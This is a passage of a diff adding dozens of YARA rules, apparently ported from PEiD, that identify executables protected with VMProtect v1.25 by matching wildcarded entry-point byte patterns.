+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03168_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03169_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03170_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03171_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 46 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03172_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03173_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03174_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03175_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03176_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03177_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_03178_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03179_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03180_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03181_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03182_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03183_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03184_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03185_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03186_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03187_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03188_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03189_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03190_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_03191_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03192_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03193_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03194_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03195_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03196_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03197_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+    condition:
+        $a
+}
+rule PEiD_03198_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_03199_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03200_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03201_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03202_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03203_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03204_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03205_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03206_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03207_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03208_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03209_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03210_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03211_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03212_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03213_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03214_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03215_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03216_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03217_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03218_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03219_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+rule PEiD_03220_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03221_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03222_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03223_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03224_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03225_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03226_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03227_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03228_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03229_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03230_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03231_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03232_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03233_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_03234_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03235_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03236_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03237_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03238_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03239_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03240_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03241_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03242_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+rule PEiD_03243_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03244_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03245_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03246_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03247_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03248_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03249_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a
+}
+
+rule PEiD_03250_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03251_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03252_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03253_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03254_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
+rule PEiD_03255_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a
+}
+
